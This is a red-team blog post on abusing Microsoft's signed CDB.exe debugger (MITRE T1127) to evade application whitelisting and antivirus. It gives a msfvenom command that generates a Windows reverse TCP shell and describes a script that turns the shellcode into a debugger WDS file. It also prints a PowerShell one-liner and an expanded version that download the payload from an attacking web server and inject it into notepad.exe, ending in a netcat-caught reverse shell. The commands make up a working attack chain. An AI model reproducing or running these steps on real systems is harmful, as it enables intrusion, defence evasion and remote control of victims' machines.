Blog Preface – “Windows Kits”
While running through some MITRE techniques, I happened upon the ADK tools and SDK tools and found a great collection of programs used for development, debugging, and administration. It just so happens, they’re also great for Red Teaming. Many of them are Digitally Signed by Microsoft, making them a great bypass for Applocker / Application Whitelisting.
In this post, we’re expanding on the CDB.exe tool that we touched on in the last post.
T1127 – Trusted Developer Tools
https://attack.mitre.org/techniques/T1127
There are a lot of tools within the realm of T1127, each worthy of review. I took an interest in this one because of its raw and simple power. With a little effort, I could use it to execute my own shell commands, and with a little more effort, my own shellcode. All of which flew under the nose of AV systems.
Cdb is a Console Debugger application that is digitally signed by Microsoft. As a debugger, it’s not hard to imagine why it’s so powerful. This is an application that is designed to inject into an attached process. We can abuse this to inject our own commands, including shells.
True to this series, it was made available to me when I installed SDK and selected the option for Windows Debugger Kits. (See the last blog post for more info on this).
I know myself well. There is a 0% chance I’m going to remember the syntax for this command. I’ll rarely use this, despite how powerful it could be. As a result, the best option is making it repeatable. Reading into the exploit technique, the article at exploit monday was the most helpful.
This tool accepts WDS file extensions, which are like debugger script files. The debugger commands can be scripted and executed with the right parameters. This makes it much easier. In the Exploit Monday PoC, we see shellcode that pops calc.
At a basic level, the scripting language accepts the .shell command, which was an easy first step. The .shell command will allow me to execute Command Prompt shell commands directly. This is super easy, but still leaves a lot to be desired. Wouldn’t it be a lot cooler if we could put our shellcode in there?
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-shell–command-shell-
Time to write some python.
A little google searching didn’t immediately turn anything up, so I decided to write up my own python script to convert msfvenom payloads into the correct format for WDS files. I’m a high-functioning idiot, so the python script only does the bare minimums. To use it, I take the python output from the msfvenom payload and paste it into my script. Then redirect the output from the script into a “payload.wds” file.
I don’t really like snakes… so a doofus looking Python image is as good as we’re going to get here.
The version I’ve posted in my github (at the time of this writing) is lazy and only allocates enough memory space to place our shellcode. This works for some payloads, but it’s not going to work for everything. For example, meterpreter payloads are a little more dynamic, and the encoder for those payloads would decode and likely expand outside of our dedicated executable memory space causing it to fail. (or at least that’s my theory, which I’ll validate once I’m a little less lazy)
https://github.com/galoryber/MITRE/blob/master/cdb-t1127.py
In short, here is what is going on:
We’re pasting the shellcode from msfvenom into the python script. I’m generating that with…
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.20.30.40 LPORT=80 EXITFUNC=thread -f python -o /tmp/msfvenom.output
Once that’s pasted into our python script, the script will grab the payload length and allocate exactly that much RWX memory space. This is what should change for any dynamically expanding encodings. for now, I know this shell payload works statically, so I’m working with that.
The next thing we’re doing is re-writing the python shellcode into the format that WDS expects. This is mostly just manipulation to match other PoCs, like the exploit monday example.
The last three lines are simple. We just change the instruction pointer back over to our shellcode and tell the debugger to start execution, and then quit. These were just determined from the documentation for cdb.
The end result? All we really do is: Paste the msfvenom shellcode into the script, then run :
python3 poc.py >> payload.wds
That’s everything we need to execute. We have our PE cdb.exe and our payload.wds file. I choose to host these files on an attacking web server. The following powershell one liner will pull down and execute our payload.
$u = "http://10.30.1.17/";$f = "cdb.exe","payload.wds";$f | % {iwr -uri $u$_ -outf $env:TEMP\$_};sl $env:TEMP; .\cdb.exe -pd -cf .\payload.wds -o notepad.exe
The one liner could be shortened by renaming the EXE and WDS files to something like a.exe, in addition to injection into a process name that is shorter. When I write powershell, I prefer the full notation for readability, so here’s what we’re actually doing there.
$AttackingWebServer = "http://10.20.30.40/"
$PayloadFiles = "CDB.exe","payload.wds"
$PayloadFiles | Foreach-Object {
Invoke-WebRequest -uri $AttackingWebServer$_ -OutFile $env:TEMP\$_
}
Set-Location $env:TEMP
.\CDB.exe -pd -cf .\payload.wds -o notepad.exe
Finally, the CDB command has a few parameters that we care about. The -pd tells the debugger to keep the process running after the debugger is stopped with the quit command. This allows our rev shell to continue operating after initial execution.
The -cf tells the debugger to execute the commands found in our WDS file, so we follow this with the location of our payload.wds.
Finally, -o this is the process that the debugger will open and attach to.
I’ll take your RCE, and I’ll raise you a Reverse Shell
We’ll use our powershell one-liner to pull the payload from an attacking web server, in this case, just a python SimpleHTTPServer. The attacking server also has a netcat listener running to receive the connection. The console on the left is an ssh session to the attacking server, and the console on the right is the victim powershell window.